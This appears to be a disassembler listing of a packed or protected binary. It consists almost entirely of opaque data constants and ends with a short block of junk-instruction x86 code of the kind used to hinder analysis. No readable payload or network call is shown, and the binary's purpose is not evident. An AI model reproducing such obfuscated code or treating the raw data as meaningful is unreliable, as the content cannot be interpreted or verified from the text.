		dd 146F51BBh, 14B751BBh, 14DB51BBh, 14ED51BBh, 14F651BBh
		dd 147B51BBh, 14BD51BBh, 14DE51BBh, 146F51BBh, 14B751BBh
		dd 14DB51BBh, 14ED51BBh, 14F651BBh, 147B51BBh, 14BD51BBh
		dd 14DE51BBh, 146F51BBh, 14B751BBh, 14DB51BBh, 14ED51BBh
		dd 14F651BBh, 147B51BBh, 14BD51BBh, 14DE51BBh, 146F51BBh
		dd 14B751BBh, 14DB51BBh, 14ED51BBh, 14F651BBh, 147B51BBh
		dd 14BD51BBh, 14DE51BBh, 146F51BBh, 14B751BBh, 14DB51BBh
		dd 14ED51BBh, 14F651BBh, 147B51BBh, 14BD51BBh, 14DE51BBh
		dd 146F51BBh, 14B751BBh, 14DB51BBh, 0C59351BBh,	0DDE935D9h
		dd 68000016h, 6089C54h,	0FBACCAE9h, 9D2E68FFh, 0C0E90608h
		dd 68FFFBACh, 6089DE9h,	0FBACB6E9h, 9ECE68FFh, 0ACE90608h
		dd 68FFFBACh, 608A0C4h,	0FBACA2E9h, 0A23468FFh,	98E90608h
		dd 68FFFBACh, 608A341h,	0FBAC8EE9h, 0A40468FFh,	84E90608h
		dd 68FFFBACh, 608A64Bh,	0FBAC7AE9h, 0A75268FFh,	70E90608h
		dd 68FFFBACh, 608A804h,	0FBAC66E9h, 0A89A68FFh,	5CE90608h
		dd 68FFFBACh, 608A9DAh,	0FBAC52E9h, 0AEEF68FFh,	48E90608h
		dd 68FFFBACh, 608AFEAh,	0FBAC3EE9h, 0C4D65BFFh,	88E9DDAh
		dd 504EE11Eh, 99052966h, 0DEA672AFh, 100C0DF4h,	55927C00h
		dd 98D5BFC7h, 0DF1C0696h, 0E1624C4Eh, 4C19B1F2h, 0AAC1A18Ch
		dd 1D657E9h, 19AE6C32h,	0F4C6840Ah, 6630FDDAh, 0BFBCD6A8h
		dd 5B129AA8h, 0B1EB42D7h, 88E9DB4h, 0DC22A151h,	625FF085h
		dd 0FE18F61Dh, 0C8522401h, 3E0543C4h, 2883C487h, 74AD97D2h
		dd 814504C2h, 42A191C7h, 59EEACE8h, 2D05C3CBh, 0F1BE735Fh
		dd 9668917Dh, 540A1431h, 75F40377h, 0D58C5C91h,	4089h
		dd 0FE4D6400h, 0A05E38F5h, 0ACFDB4CEh, 401CF15h, 0D1DC5F27h
		dd 23F09EB8h, 0B3CD9F5Dh, 7F839FCh, 3DAD9757h, 1E3864C8h
		dd 1125A160h, 3AAEA191h, 0ED53254Eh, 0FA110A14h, 65B1682Ch
		dd 0BFh
		dd 0C4D657B2h, 0DDA17106h, 0F2336A1Fh, 0A794E6D8h, 0F6995002h
		dd 12A76537h, 3097811Bh, 0A794EB61h, 92A035F8h,	0C906F00Ah
		dd 1E353264h, 0FBCD8B11h, 9BE9C044h, 0CC97D8D5h, 40AD97FCh
		dd 0DF25A48Eh, 0B2D31411h, 9EA7977Dh, 0E2B8AA63h, 0BE904E56h
		dd 0F68141Bh, 6AF9D112h, 2FE19B8Ch, 31011815h, 0DCF3B66Dh
		dd 215E484Ch, 0C46B0411h, 0A113A6DDh, 1CE90287h, 37ABE52Bh
		dd 14479Ch, 1486AB00h, 585EED2Ah, 0A0FE316Eh, 0E9B579B6h
		dd 2E76C2FFh, 60BC5D44h, 0A5E2CCD0h, 0E8250F97h, 2F6C5646h
		dd 31B29CFEh, 4AC90142h, 0FA11A18Ch, 0C3CB5739h, 7919CD9h
		dd 93842D0Ah, 705B75F6h, 151E09B9h, 0CD0401CFh,	682676B6h
		dd 0ED12DF96h, 57AD9809h, 0EE447C1Ch, 0B25152Ah, 0BD388E4Dh
		dd 49BA191h, 9229727h, 0EC505CAh, 8759826Eh, 0BC0A1430h
		dd 0A5h, 4E5A3709h, 920BC029h, 81AC4F06h, 74C45917h, 0DEB37230h
		dd 7BA79445h, 0C1FEE8B2h, 0C406476Ch, 16A7943Bh, 164D4A64h
		dd 943BF5D5h, 7C33E5A7h, 0DD321F8h, 5694CF10h, 0C678AD97h
		dd 49175DDCh, 0D3690B4Ch, 7F96A796h, 5B2DEBB3h,	615E10A4h
		dd 0CCB6FE4Ah, 76FB838Fh, 0E52A4D27h, 6D06A115h, 85000013h
		dd 0C300EAACh, 7442E74h, 4F8C7624h, 98D5BFDFh, 331A0488h
		dd 0A2EA3666h, 0E9AD7BB8h, 2C68C2FFh, 6E280542h, 0D3140384h
		dd 0A18C49F7h, 570BCCE3h, 9CD9C3CBh, 2D0A0791h,	0BB084596h
		dd 4FFFB6C6h, 0C4D65764h, 1B7DB0C7h, 7DAE8B5Dh,	4FE4681Fh
		dd 95D2BCDEh, 0A93EFC9Ah, 5281284h, 6A707E09h, 23B2C6Dh
		dd 27D9AD98h, 0FBD0F71Ch, 0ADB3991Bh, 0A18BA29Fh, 574AE56Ch
		dd 1F397C3Eh, 0F0AEF642h, 63A4671Eh, 0B00A8120h, 0E5BC7A2Ch
		dd 93D4D19Fh, 0AA0AA88Bh, 114845F7h, 0AA682CFAh, 0AF7E21D8h
		dd 0CB13F0EDh, 0FB3B3D4Ch, 92CF7F36h, 377C019Bh, 11E0B425h
		dd 12B2029Dh, 0E9400000h, 0BB88C5AFh, 5DCE0BF5h, 1418553Fh
		dd 0D1619E88h, 1DFCE3CDh, 816B33FFh, 0C4AEF644h, 0FF9A587h
		dd 57415BD2h, 24A6E7D6h, 0B6A18C4Ah, 0D657DE9Fh, 4F90C7C4h
		dd 0A794E67Bh, 6FB0AD5Fh, 0A794E75Bh, 9216CD7Fh, 0AAA7B5BBh
		dd 0C4D05C73h, 0B2DC4021h, 7B32BF37h, 97197DAEh, 836D1FADh
		dd 0B8B5E746h, 0C8A4081h, 0EC41A191h, 732ADCAAh, 4CA18EFh
		dd 0BC99D007h, 53C4D952h, 83474ED8h, 57A190F9h,	0D221EEA5h
		dd 5AA79992h, 9994ABA8h, 55D815FFh, 0A0AE8543h,	0A5869D9Ah
		dd 467D40F7h, 4AD8E32Fh, 986A2842h, 0F9BF14E1h,	7B2DA190h
		dd 0D4C6677Eh, 0CEB08DEAh, 5EFA405Dh, 929B3EF5h, 6D734A08h
		dd 1621625Fh, 9E9B827Dh
		db 63h,	75h
word_544F42	dw 0E77Bh		; DATA XREF: ___:off_4274E0o
		dd 0FF1F5DADh, 25F771A7h, 39BED8F2h, 0F13B0FF0h, 0CDB550C4h
		dd 25000011h, 63A08A0Ch, 0A7E4CED4h, 0EF2C1684h, 38755F3Fh
		dd 0D3BAA4E8h, 424AD6C6h, 890D1B58h, 0CCC8629Fh, 0E88A5E2h
		dd 73B4A324h, 0A18C4957h, 57AB6C83h, 712F00CBh,	0CAC7E1B3h
		dd 5DDD45EDh, 93F4AE1Ch, 0D77A2CA7h, 0E198C89Dh, 0BBACB231h
		dd 940A507Ah, 0BED88AA7h, 288380C1h, 0BD9AAD97h, 0C607C5EFh
		dd 0A1910D04h, 708124D6h, 20B46B36h, 2912B7E5h,	9CB6CDBBh
		dd 0B2E449DEh, 0DB546BC8h, 0CA6306BDh, 353B12D0h, 4AE92A27h
		dd 33A7940Fh, 0C482121Ch, 0F5A73BF2h, 1C08E837h, 250F89A4h
		dd 959258A6h, 9118AF54h, 2DEB9DA1h, 6039598h, 0DC3C8ECFh
		dd 0EC9E958Ah, 8C35B135h, 0DBB61455h, 8F24958Ah, 8ADB7C4Eh
		dd 92AC5E95h, 954F3BDBh, 4384814Fh, 9B8DF9C0h, 0E5E5265Dh
		dd 0C68F87BCh, 87BD4585h, 15E3958Fh, 6618AC63h,	0ACEE3F7Ch
		dd 0C10239EEh, 8F87BD09h, 9B681FD1h, 8F87CD2Bh,	46048898h
		dd 63217DB1h, 93483414h, 0EB634FC9h, 1A999542h,	87ACF1D9h
		dd 1D37E98Fh, 0A5BC1903h, 80521096h, 19F1A7DDh,	46FD5E02h
		dd 0EC2D8AA3h, 8F8774DEh, 72304AFCh, 0E2FE559Bh, 17FB547Fh
		dd 27BCB56Dh, 0FD17641Ch, 6EAFE6E3h, 8F876F5Ch,	20DEBC6Fh
		dd 17CE804Eh, 88C01354h, 0E6FD958Ah, 99D5458h, 40FE8694h
		dd 54804A8Bh, 0A85A8984h, 6077748Eh, 6515CCD0h,	51CE2B08h
		dd 5FFC6440h, 0D70C1FA8h, 772E6EC0h, 817E4C92h,	0DDA96BA4h
		dd 0F0A728ACh, 0C619F62Dh, 0CF8738AFh, 0FDFECB82h, 108F8C9Bh
		dd 0D83C6633h, 0A85FF964h, 3C576214h, 0D906C405h, 22D4837Bh
		dd 3478C86Bh, 0D90FB776h, 6C72837Bh, 0BB20615Eh, 41898471h
		dd 353262CCh, 733FD6F4h, 3852047Dh, 8F09243Bh, 0D3C568A5h
		dd 0B2836015h, 4FD62492h, 0AB771AD1h, 51155EE3h, 6BDFC302h
		dd 0FD7D0h, 84161B00h, 0C8CE5D9Ah, 108EA1DEh, 5945E926h
		dd 9EE6326Fh, 0D0CCCDB4h, 15523C40h, 58957F07h,	9FDCC6D6h
		dd 0A1220C8Eh, 475971B2h, 6A81A18Ch, 132037A9h,	0E733D68Dh
		dd 0B578B59Fh, 5DCFE6E3h, 0FAB18341h, 674CE176h, 94E6A426h
		dd 6A8436A7h, 0C4B02AACh, 0BDD4E14Ch, 95672571h, 94E73C8Eh
		dd 0D2EC9EA7h, 1728FAE8h, 8F5D0411h, 38000001h,	0CE8C1221h
		dd 37F445FCh, 95A2235Ah, 0FC6A9CBh, 19D7C16Ch, 5566A984h
		dd 0BB14C702h, 8C0BF50Fh, 3A7B7846h, 0AD971C71h, 0FCBB792Bh
		dd 0A19112CAh, 11A99509h, 0AC6331FAh, 14E68658h, 4FBB0Ah
		dd 15080000h, 0ED0401CFh, 0E6B4575Fh, 611D58DAh, 679E6118h
		dd 71DBEF30h, 22F0A794h, 0FCCA9C5Ah, 39C6934Ah,	0BAD9795h
		dd 6A194D0h, 0F0310019h, 0A191D2DAh, 1A344E00h,	0D3299D5Ch
		dd 36AAA191h, 2B4F214Ah, 0C7840A14h, 5F000000h,	0FCB3E548h
		dd 3E5A37ABh, 0E218B005h, 7352018Ah, 2A442049h,	3B5DD073h
		dd 5458E87Dh, 0A72C0196h, 8355139Bh, 0B1854586h, 0A355A794h
		dd 0A5758C89h, 9A5123E1h, 0EAAC8116h, 0B6F89900h, 0CC61A794h
		dd 6C83E0CAh, 381DD4C0h, 0E627242Ah, 0AD9A600Ch, 586F6C1Eh
		dd 29CF3BC8h, 59F65E41h, 0DBAF1B5Ch, 792BA18Fh,	0E838755Fh
		dd 3EC61FA4h, 2296EF26h, 0E6787h, 0F4A68B00h, 387ECD0Ah
		dd 801E114Eh, 0C9D55996h, 0E96A2DFh, 405C3D24h,	85C2ACF0h
		dd 0C805EFB7h, 0F4C3666h, 11927C1Eh, 44E9E122h,	0DAF1A18Ch
		dd 0C3CB5719h, 7C4E8FC6h, 89A794E6h, 1810159Eh,	934513DBh
		dd 3EEF2CDCh, 5391E1D3h, 88A2B1A7h, 5A37B39Eh, 6594D922h
		dd 4929D0Eh, 0A35A7446h, 71882D00h, 0F2D8DFBFh,	0E8A794C3h
		dd 0C95E1C36h, 0B483264h, 647B7822h, 9216CDCBh,	0AAA7B5BBh
		dd 97E52A69h, 0A69042ADh, 7B563h, 20376A00h
dword_545350	dd 0FDCF8D13h, 0DA910F20h, 8C1AEB37h, 1B0DFE17h, 0BAF1EE08h
					; DATA XREF: ___:off_43BF7Co
		dd 0B7884283h, 0A052A794h, 94B83199h, 40F7A9A7h, 0B7C9FDBCh
		dd 0AAB8A794h, 9E90A7A4h, 4D8447FEh, 0B39D4170h, 20D7CADCh
		dd 9CA09053h, 0F7364DADh, 3815E7A5h, 5BEFA6F6h,	9895ACA9h
		dd 6E36041Bh, 0F3D7DEB0h, 0E7A18B6Dh, 0F4311B35h, 0CA15F39h
		dd 9667B53Ch, 0D653CCE1h, 0F9B7D16Fh, 3B880D27h, 0F5EF2AB1h
		dd 0D5AE681h, 91980000h, 53E01D07h, 526634Dh, 0BC70AD97h
		dd 69B9F6E0h, 45543B25h, 0D9C3CB57h, 1C068E9Ch,	67514DDFh
		dd 0AF99032Ah, 0CCFE3F2Eh, 0EA18C43h, 0CB5736F7h, 4E8FC6C3h
		dd 0A794E67Ch, 5244E95Eh, 74D18138h, 0CC3D35Dh,	14D2C469h
		dd 2EECAE7Fh, 47058999h, 5C1A7AB2h, 8C412D0Dh, 0ADEE25C2h
		dd 0A794E71Dh, 0B9E748BDh, 5C48E89Fh, 654F49E4h, 1116A577h
		dd 1EDA04h, 7EB50000h, 94DA8D3Dh, 0E49B4DA7h, 0F0D32D93h
		dd 4427A794h, 0FFFFFD6Bh, 3074C2D9h, 98E9A072h,	94E6992Dh
		dd 0D49AE8A7h, 805596D7h, 15C7AD9Dh, 6A2C0118h,	0C6D6566Dh
		dd 0B225F0Fh, 0F23ED391h, 0AD3425AAh, 1488EF2Bh, 0C9779h
		dd 0C4D65B00h, 88E9DDAh, 504EE11Eh, 99052966h, 0DEA672AFh
		dd 100C0DF4h, 55927C00h, 98D5BFC7h, 0DF1C0696h,	0E1624C4Eh
		dd 4319B1F2h, 0AAC1A18Ch, 0E1D657E9h, 94E72AA0h, 0E4FEB0A7h
		dd 3D43D0E7h, 0C06D0286h, 647E0413h, 0BEAA24A6h, 0CBB5E746h
		dd 11170BDDh, 194004h, 378D0000h, 0D78E0E20h, 94F0F60Ah
		dd 0F00704A7h, 0CA9C5A22h, 0FCC56A13h, 1571FFFFh, 0C30401CFh
		dd 0AD98048Ch, 29E8A658h, 0A191C99Eh, 0D9970727h, 0ECAAEA44h
		dd 863B2733h, 210B22B9h, 321EBE75h, 0EAA8839Ah,	4FA35A2Ch
		dd 0A142F7Dh, 221B2h, 0C92DFF00h, 1DA794E6h, 1486A782h
		dd 5640ED2Ah, 206E398h,	0F1D91A97h, 0E9A7943Bh,	9B039437h
		dd 0B47A47FEh, 25A79438h, 20AAEB22h, 0BAA79438h, 0C5B15108h
		dd 0B9B6E04Dh, 95BF23DCh, 0FCB3ABB8h, 0BA80CD4Ch, 0D4C667FCh
		dd 11FFFAD7h, 31423671h, 366DCA7Ah, 948FD5F5h, 9C5305A7h
		dd 0A46234F9h, 949051E5h, 0C1DB52A7h, 1CBD6E03h, 0F9CB890Fh
		dd 7B4921DFh, 760DDA8Fh, 210CCF5Fh, 0CD9F5D77h,	903B8FD0h
		dd 0ED9FA794h, 81AA9636h, 41169AFh, 0DD01906Dh,	0E9A7F739h
		dd 309C7417h, 266EBA97h, 17C236Fh, 57700000h, 7106C4D6h
		dd 871717BCh, 0FE04836Dh, 0F9B2F3F0h, 0A3AD97EBh, 527433F1h
		dd 71A191E2h, 6C21DFBFh, 91E19F2Bh, 0AC893BA1h,	0D6F4359Ch
		dd 4A191E1h, 0FE7A3852h, 0AD78C78h, 0AF81AA96h,	0E40A1417h
		dd 58h,	2F9AA8BFh, 91D9DCEEh, 324CFEA1h, 0CD425B8Fh, 530A6B0Fh
		dd 0BF003702h, 0A794E70Bh, 0F2401DCFh, 0C00EF3AAh, 8420FDFAh
		dd 52FF615h, 79B0732Ah,	10CED662h, 45BA873Eh, 0D0AD97F0h
		dd 692777B9h, 9A4CE097h, 0A9A91DDCh, 0B62AA191h, 53CFA1CAh
		dd 0B2040A14h, 51000000h, 6C4D657h, 1FDDA171h, 3BF9A38Ah
		dd 181587A6h, 0B86F2F01h, 0EDCEAB08h, 0E7295F87h, 79A06D24h
		dd 0F0A79403h, 0F2715B3Dh, 0A0E1DEECh, 0AD998652h, 122926D8h
		dd 1C47B19h, 59565EEAh,	4B594522h, 9C7DA1CBh, 8E553595h
		dd 3CF3A5A1h, 0BBC34F8Ch, 25A62536h, 801B8FEFh,	0A50h
		dd 230D8FA2h, 695359E6h, 0AB95032Ch, 0F4DEBE6Eh, 39236BB7h
		dd 0C5554752h, 8C9AD7C1h, 4FE11E08h, 528654Fh, 3928A993h
		dd 8C40D2F8h, 30F108A1h, 2E00CB57h, 0D6A546Eh, 0AA6834F6h
		dd 0E716B4F5h, 12C4A794h, 8F9E41F8h, 8FC6230Dh,	94E67C4Eh
		dd 0F5AC5EA7h, 0C4D657A4h, 0D91A5106h, 0A794E6F1h, 0B9437E9h
		dd 0D9177DDCh, 75B85B12h, 0E5492623h, 0EDA057F9h, 2D6FBE9Bh
		dd 36E69D6Fh, 3A9F3h, 37FA00h, 94E70BBFh, 661DCFA7h, 0ACB28DDDh
		dd 9C60A19Eh, 0A2AD9D80h, 5AA8E5F0h, 0AE809794h, 337437EEh
		dd 0A78F7464h, 0E1A05E10h, 9B8926E5h, 0DF2057EEh, 9B8926EBh
		dd 819A3DEFh, 9260F34Ch, 1804A45Bh, 0D7C76980h,	3C904719h
		dd 101CBA6Ah, 3199Fh, 5A37EC00h, 0FD8F841Dh, 0B255F855h
		dd 0BBE244Fh, 913502B9h, 8A794C6h, 0A794C6CDh, 0C1BE8CD2h
		dd 97EC3B80h, 4ACF81ADh, 0EF207103h, 498A2599h,	0A9000009h
		dd 0EF2C1680h, 33705A20h, 73B09AF8h, 0B4F1DBBBh, 4F362064h
		dd 0BEC6524Ah, 58997D4h, 504CDE1Bh, 92042966h, 0F73827A8h
		dd 0A18C3FD3h, 572FF007h, 0B0C7C4D6h, 0E3671E7Eh, 0FBF8C60Ch
		dd 1BB08DC4h, 2E378D34h, 0A39F2B32h, 893BA794h,	3CFA05D2h
		dd 41BAD9Dh, 0DAAC6A2Ah, 0F3DD8F23h, 0ECAE7F96h, 0C0A55C2Eh
		dd 6EAFACB2h, 0A794A495h, 0AFF542B7h, 8051FF1h,	723A90D1h
		dd 0EEA09B83h, 0CF5D7437h, 7876DDC7h, 599B8373h, 205D470Dh
		dd 37CC8A12h, 90A7A4F6h, 6A3CFA82h, 0A582FB3h, 61064744h
		dd 0B3A18678h, 4AC77C01h, 4DC1FB37h, 897B2h, 0C4D65B00h
		dd 88E9DDAh, 504EE11Eh,	99052966h, 0DEA672AFh, 100C0DF4h
		dd 55927C00h, 98D5BFC7h, 0DF1C0696h, 0E1624C4Eh, 3F19B1F2h
		dd 0AAC1A18Ch, 1ECF15E9h, 94E6EDDDh, 5E3BEDA7h,	3A0CCAD2h
		dd 21E22320h, 2BAD9D80h, 4D755596h, 0B365A18Ch,	0B7859C99h
		dd 7F991F2Ch, 0C2CA5895h, 19272D04h, 26A4E51Ch,	0B4A18C4Eh
		dd 47884B02h, 0A794E6B8h, 451CDA8Ch, 0FD34313Fh, 83B40EBCh
		dd 0D457CC9Bh, 32F5ACC6h, 86D4CEF1h, 0BF44F6A1h, 0FB3760BAh
		dd 1EB86FAh, 0F1000008h, 37745E38h, 7BB8A2E8h, 0BBF8E2B0h
		dd 0FC392373h, 977E682Ch, 68E9A82h, 4D51DF1Ch, 98042663h
		dd 0DABC71AEh, 3F806FF0h, 0A18C3E8Bh, 3777384Fh, 2A64F25Ah
		dd 6D8961Eh, 96729B63h,	0A7F13CDFh, 0BCFD34E9h,	0A794600Eh
		dd 0F33D1ACCh, 0E449ECA3h, 0F872F4B2h, 0FF99940Ch, 9A552715h
		dd 3B8A0411h, 0D7000001h, 6C4D657h, 0C2E67451h,	0ED900C1Eh
		dd 0E79E32A3h, 0C5AFE944h, 35323846h, 0D08E0E1Eh, 438447FEh
		dd 0AD97A468h, 2E6CBF34h, 2F975614h, 0A4A1919Bh, 6428F60Dh
		dd 0F8210DADh, 0A145F26h, 2A5Bh, 0BEFF3600h, 0A191930Ch
		dd 14651CCEh, 401CF15h,	980A3CC3h, 985608ADh, 91C3EDD9h
		dd 8672E6A1h, 14398B5Dh, 0AFC00Ah, 370D0000h, 983D15Ah
		dd 0E4B6743Ah, 6A2A6F41h, 7B1D10B3h, 941828BDh,	0EAF8097h
		dd 94A7FDCDh, 112BDDA7h, 0EC41D65Ah, 0D657ECAAh, 8E73DAC4h
		dd 0ABA794C4h, 0D12E1882h, 6CCDFAF4h, 0BC739A78h, 0C6C389D7h
		dd 99EB6D85h, 2C82BDADh, 1E9A9E69h, 677E7B95h, 0ACE9D3DBh
		dd 0D6F4359Ch, 4A18EB3h, 0DBBB7552h, 0AC314B1Dh, 0EF25078Bh
		dd 0C1CE69DDh, 31000006h, 77B49EF8h, 0BBF8E2A8h, 0FB382270h
		dd 3C796333h, 0D7BEA8ECh, 464EDAC2h, 8D111F5Ch,	0D8C466A3h
		dd 1A7CB1EEh, 7FC0AF30h, 0A18C3E4Bh, 57B7788Fh,	9CD9C3CBh
		dd 0B1F74491h, 1D0721F3h, 0C4D65732h, 5960B0C7h, 390BC9D5h
		dd 4FE4681Fh, 75D2BCDEh, 0A9003798h, 8D447849h,	3DE4h
		dd 0C871EB00h, 401CF15h, 2874B6CDh, 8059A471h, 35E7AD9Dh
		dd 9E7F492Ah, 35F3BB87h, 8E1C1CDAh, 0B0CAA5CFh,	0CE14F9h
		dd 79B5CC03h, 0D68D5F1Dh, 94C5F509h, 909B4DA7h,	498Fh
		dd 0CF159600h, 5DED0401h, 9EDFA259h, 0AD980135h, 0BA105188h
		dd 20A191CCh, 7123B76Eh, 0BCD1F4B3h, 0DFADA191h, 252B39F3h
		dd 0F6ECE728h, 8B00A794h, 6335F3A3h, 0F8354C49h, 570EE09Eh
		dd 0B164A7h, 0E2F90000h, 0BA8C4A4Ah, 2037B203h,	0FBCD8B0Dh
		dd 4B115F44h, 7FEE0D4Eh, 9C4EAD9Dh, 0E05D6BD6h,	0FB904E4Eh
		dd 28A46230h, 5201B6A2h, 0BB8DB6A2h, 0F00A19AFh, 63h, 0C20373Dh
		dd 0EEF4D990h, 0AC890D1Dh, 84561480h, 0D02C6D6Ah, 3FAD9D7Fh
		dd 4D03C708h, 25D7A18Ch, 6228DA6Eh, 0C79AD1F7h,	601E7EB0h
		dd 1D377FCBh, 0B1DAC666h, 0A19B0DFh, 2614h, 0CF156100h
		dd 0F0CD0401h, 0B1D48ABh, 824F060Ch, 0AD9D607Bh, 0E24D13C5h
		dd 0E9D585E6h, 19CBEEC0h, 19230Ah, 2D700000h, 0A7950031h
		dd 0A1718885h, 0C482121Ah, 481AD8F2h, 0FF10E891h, 37EFFFFFh
		dd 0CE8C1020h, 0B76B4573h, 0DBF50AFAh, 2B313F24h, 623EED2Eh
		dd 0AC5EAD9Dh, 92239EEh, 44FBCD8Bh, 4E4B115Fh, 94C6F10Dh
		dd 134522A7h, 6F7485ADh, 7224B86Fh, 0C997DDB4h,	96B895CCh
		dd 0D6ED088Fh, 773F0BE8h, 6330E7B9h, 0A18B9570h, 0B6CDCA7Ch
		dd 0BA392369h, 68A9A6B4h, 9B82FDC3h, 1B8493AAh,	71C8F0DAh
		dd 1E38EA8Fh, 0E698D367h, 8C101E98h, 0C959FCCEh, 0ADAAC4B3h
		dd 0EA459496h, 21CEEACh, 0CA4AB118h, 0ACC32797h, 0BE61189Ch
		dd 53302D6Fh, 9FF64484h, 4549D7C4h, 0E49BB587h,	6436F734h
		dd 51DAF1A6h, 0FCB38543h, 603C917h, 4D186EC5h, 37F80FFDh
		dd 3854586h, 0A355F147h, 42F9CB89h, 0EF3EFCAEh,	82AB230Fh
		dd 0F4D12E18h, 94C47652h, 36D30698h, 0B2602BCEh, 2F01A45Bh
		dd 0F1CB16Fh, 206565A6h, 0C375F147h, 2632EBA9h,	2C68C23Ah
		dd 6B2B0542h, 80C1F8ADh, 0F147204Ah, 870F1B90h,	9D2DB66Dh
		dd 0FC746094h, 4E656232h, 2E00BEDEh, 15DCC777h,	0B14604CAh
		dd 0E05C1A7Ch, 0ABB46E5Ah, 818FA6A3h, 0B66D3FFDh, 6F64C906h
		dd 871CDAA0h, 0C1DBF5B9h, 35B3E7C4h, 0D18DD625h, 0A6238E1Ah
		dd 4A089699h, 601E78B5h, 0C37864DEh, 269E8AEEh,	8F8A9507h
		dd 0A2E83780h, 0BF0BCA88h, 0CA79444h, 1B7BB53Ch, 60AE4301h
		dd 7AC95E1Ch, 0DA47634h, 0F58C412Dh, 62B12915h,	3BF5321Ch
		dd 0B1E89D5Bh, 94455A70h, 0AAEB80A7h, 0A7944520h, 37EE08BAh
		dd 94455D6Ah, 3C2854A7h, 402A6AC4h, 9462ADD9h, 7F5C59A7h
		dd 0EE351CC3h, 0DE32E92Ch, 411540Dh, 2167B4CBh,	0FF591E6Ah
		dd 576BFFFFh, 9DDAC4D6h, 0BB400690h, 0DD622872h, 0F489474Fh
		dd 209C5A3Ah, 53F9AE9Ah, 0C2C8576Eh, 0DB7B3204h, 0E4B677EFh
		dd 415FD0E7h, 3B0DB98Ah, 70041117h, 51h, 1CF15BDh, 803BC304h
		dd 0C1D8AD9Dh, 9F712F6Fh, 723074C2h, 0A355E9A0h, 1F5772DDh
		dd 0C80B233Ah, 0A3753365h, 4632D289h, 7B78468Ch, 94E6C43Ah
		dd 26724FA7h, 396E98D8h, 0E31EB269h, 0B6205AAEh, 8C97B18Eh
		dd 2F8Bh, 3B092000h, 2CE3B573h,	1CF15DBh, 803BC304h, 5507AD9Dh
		dd 96A2248Fh, 0E3C05844h, 0CD1A47A8h, 2C11C812h, 0DA1B1826h
		dd 0A7955924h, 0B8616C1Eh, 6C4D657h, 1717BC71h,	59706D87h
		dd 5B0BC2D4h, 0CBC896DCh, 97EC218Ah, 0CCC97BADh, 43FCD1EFh
		dd 39F0DFF5h, 88C900B5h, 0A190F342h, 2509E698h,	32E9BB79h
		dd 90F36165h, 12FE72A1h, 150717E9h, 364C0Ah, 15990000h
		dd 0CD0401CFh, 0BC474AF0h, 6017361Ch, 97C06C93h, 0D463D8ADh
		dd 37F6B4CEh, 0A191798Fh, 0BBE4D044h, 0A1483E9h, 9B2F70A7h
		dd 3FA1916Dh, 0DE8AD68Dh, 0D7000000h, 6C4D657h,	1FDDA171h
		dd 2456336Ah, 0C6E49623h, 0BF2D8DFh, 73E8A794h,	0AC1DBBBh
		dd 0A94BC667h, 406E1B31h, 0FC914F69h, 207D6731h, 0CEE25C43h
		dd 1023BBB1h, 0DC680B0Eh, 5320D703h, 0A794D33Eh, 0CD951EFBh
		dd 0DADC6807h, 0C467196Ch, 550C0911h, 24217BB2h, 0B674220Dh
		dd 407D2DE4h, 16EDABEDh, 0ACEE3FC8h, 0DE1F1CEEh, 0A794C9ECh
		dd 25223CEEh, 97D11BE4h, 8D7729ADh, 0F537C00Eh,	51928FA9h
		dd 0A797789Bh, 9DD4D183h, 8C0C6E5Ch, 3BA6C9Bh, 95192940h
		dd 0DAA26EABh, 2BEF4055h, 6D087CE5h, 1ACh, 0CFB9E346h
		dd 15FF8592h, 5F4957D8h, 0A08A0A22h, 0E5CFD763h, 31011BFEh
		dd 0F846836Dh, 0A38DCAB4h, 61CC09F3h, 0DDCC4D37h, 8C392E9Ch
		dd 0D495ACA1h, 0D9C3CB57h, 1D07919Ch, 1CF1532h,	0A3CC304h
		dd 5608AD98h, 3C0B2259h, 0DFE6B876h, 0A191C3EBh, 2863DEFh
		dd 91C38343h, 0F0DC50A1h, 1439F5C7h, 0D32A0Ah, 57770000h
		dd 0EAC7C4D6h, 0EC41A809h, 4C2607AAh, 1A8DA898h, 1C369F3Bh
		dd 32ECDE1Fh, 3CEEA794h, 354C0185h, 44E79EF8h, 5343EDF4h
		dd 0D5BC7B39h, 84A79437h, 0C805EFA9h, 9E753365h, 768D8A50h
		dd 6E31E8B4h, 9734D22Dh, 0D6C072ADh, 29600957h,	9125E2E8h
		dd 3F46F8A1h, 0A191258Bh, 86839D4Fh, 96D84845h,	5AD2E9A7h
		dd 44E77C3Ah, 0ACC69856h, 0B2AF61F5h, 90C69E7Bh, 91749638h
		dd 0A3EB37DAh, 5FAC7CB9h, 0EADF6B6Dh, 46CBE55Fh, 0E52A4029h
		dd 0B154EF63h, 41000000h, 87C4AEE8h, 0CB08F2B8h, 0B483260h
		dd 4C897323h, 0E7CEB8FCh, 565EEA32h, 9DE12F6Ch,	0E8B476B3h
		dd 2A6CC1FEh, 8FD0BF40h, 0A18C383Bh, 57C7889Fh,	9CD9C3CBh
		dd 0AFE94491h, 1B051FF1h, 0C4D65730h, 207CB0C7h, 7BB39062h
		dd 4BE0641Bh, 6125F5E2h, 0BAB7D1A3h, 0E6884283h, 0A052A794h
		dd 31FC39E9h, 0ED407D67h, 872EEDABh, 33DB665Bh,	0E449C1ADh
		dd 0A28BC8B2h, 4E853AF8h, 0C371BD0Dh, 7A020E73h, 0A043FAACh
		dd 352108Ch, 6EBF3723h,	2805422Ch, 0E4FBB06Eh, 0A6745157h
		dd 974E20DEh, 0FEEh, 0C06C8300h, 0C17F1F11h, 4517D5EFh
		dd 34753D8Eh, 0AC8D257h, 20DEB875h, 37F5A18Bh, 521094A2h
		dd 6B296DBDh, 84424AD6h, 0A15F3FEFh, 0B775230Ch, 0D18F1522h
		db 4Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	779Ah
		mov	[esp], eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		mov	esi, 6089B04h
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	43B3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		push	esi
		mov	esi, 8
		mov	ebx, esi
		pop	esi
		add	ebx, edi
		mov	[ebx], eax
		pop	ebx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_4FF7CF
; ---------------------------------------------------------------------------
